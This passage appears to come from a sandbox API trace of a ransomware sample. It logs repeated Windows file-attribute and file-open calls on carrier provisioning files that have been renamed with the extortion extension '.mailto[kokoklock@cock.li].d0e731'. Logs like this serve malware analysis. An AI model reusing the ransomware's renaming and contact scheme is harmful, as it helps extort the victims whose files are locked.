users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.943] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.943] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0a08) returned 1 [0178.943] RtlExitUserThread (Status=0x0) Thread: id = 2700 os_tid = 0x1190 [0177.763] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.944] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.944] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.944] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.945] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1530) returned 1 [0178.945] RtlExitUserThread (Status=0x0) Thread: id = 2701 os_tid = 0x11ac [0177.764] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.946] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.946] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\173__connections_cellular_tigo (honduras)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.946] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\173__Connections_Cellular_TIGO (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.946] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0ba0) returned 1 [0178.946] RtlExitUserThread (Status=0x0) Thread: id = 2702 os_tid = 0x11c8 [0177.764] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0179.005] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0179.005] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\174__connections_cellular_csl (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.005] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\174__Connections_Cellular_CSL (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0179.006] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa7a8) returned 1 [0179.006] RtlExitUserThread (Status=0x0) Thread: id = 2703 os_tid = 0x11e0 [0177.765] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.016] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.016] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\175__connections_cellular_3 (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.016] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\175__Connections_Cellular_3 (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.016] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1068) returned 1 [0178.016] RtlExitUserThread (Status=0x0) Thread: id = 2704 os_tid = 0x1204 [0177.766] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.014] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.014] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\176__connections_cellular_3 (hong kong sar)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.017] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\176__Connections_Cellular_3 (Hong Kong SAR)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.017] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1398) returned 1 [0178.017] RtlExitUserThread (Status=0x0) Thread: id = 2705 os_tid = 0x1210 [0177.766] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.014] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.014] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\177__connections_cellular_3 (hong kong sar)_i2$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.018] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\177__Connections_Cellular_3 (Hong Kong SAR)_i2$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.018] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf7f8) returned 1 [0178.018] RtlExitUserThread (Status=0x0) Thread: id = 2706 os_tid = 0x1238 [0177.767] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.947] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.947] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\178__connections_cellular_3 (hong kong sar)_i3$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.947] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\178__Connections_Cellular_3 (Hong Kong SAR)_i3$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.947] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfb28) returned 1 [0178.947] RtlExitUserThread (Status=0x0) Thread: id = 2707 os_tid = 0x1264 [0177.767] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.948] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.948] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\179__connections_cellular_3 (hong kong sar)_i4$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.949] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\179__Connections_Cellular_3 (Hong Kong SAR)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.949] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfff0) returned 1 [0178.949] RtlExitUserThread (Status=0x0) Thread: id = 2708 os_tid = 0x126c [0177.768] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.950] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.950] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\17__connections_cellular_optus (australia)_i8$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.950] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\17__Connections_Cellular_Optus (Australia)_i8$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.950] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fd0650) returned 1 [0178.950] RtlExitUserThread (Status=0x0) Thread: id = 2709 os_tid = 0x127c [0177.768] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.951] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.951] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\180__connections_cellular_3 (hong kong sar)_i5$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.951] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\180__Connections_Cellular_3 (Hong Kong SAR)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf330) returned 1 [0178.951] RtlExitUserThread (Status=0x0) Thread: id = 2710 os_tid = 0x1284 [0177.769] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.953] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.953] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\181__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.953] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\181__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa940) returned 1 [0178.953] RtlExitUserThread (Status=0x0) Thread: id = 2711 os_tid = 0x1288 [0177.769] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.954] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.954] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\182__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.954] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\182__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.954] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaad8) returned 1 [0178.954] RtlExitUserThread (Status=0x0) Thread: id = 2712 os_tid = 0x128c [0177.770] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.955] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.955] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\183__connections_cellular_pccw (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.956] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\183__Connections_Cellular_PCCW (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.956] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac70) returned 1 [0178.956] RtlExitUserThread (Status=0x0) Thread: id = 2713 os_tid = 0x1290 [0177.773] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\184__Connections_Cellular_SmarTone-Vodafone (Hong Kong SAR)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\184__connections_cellular_smartone-vodafone (hong kong sar)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.957] 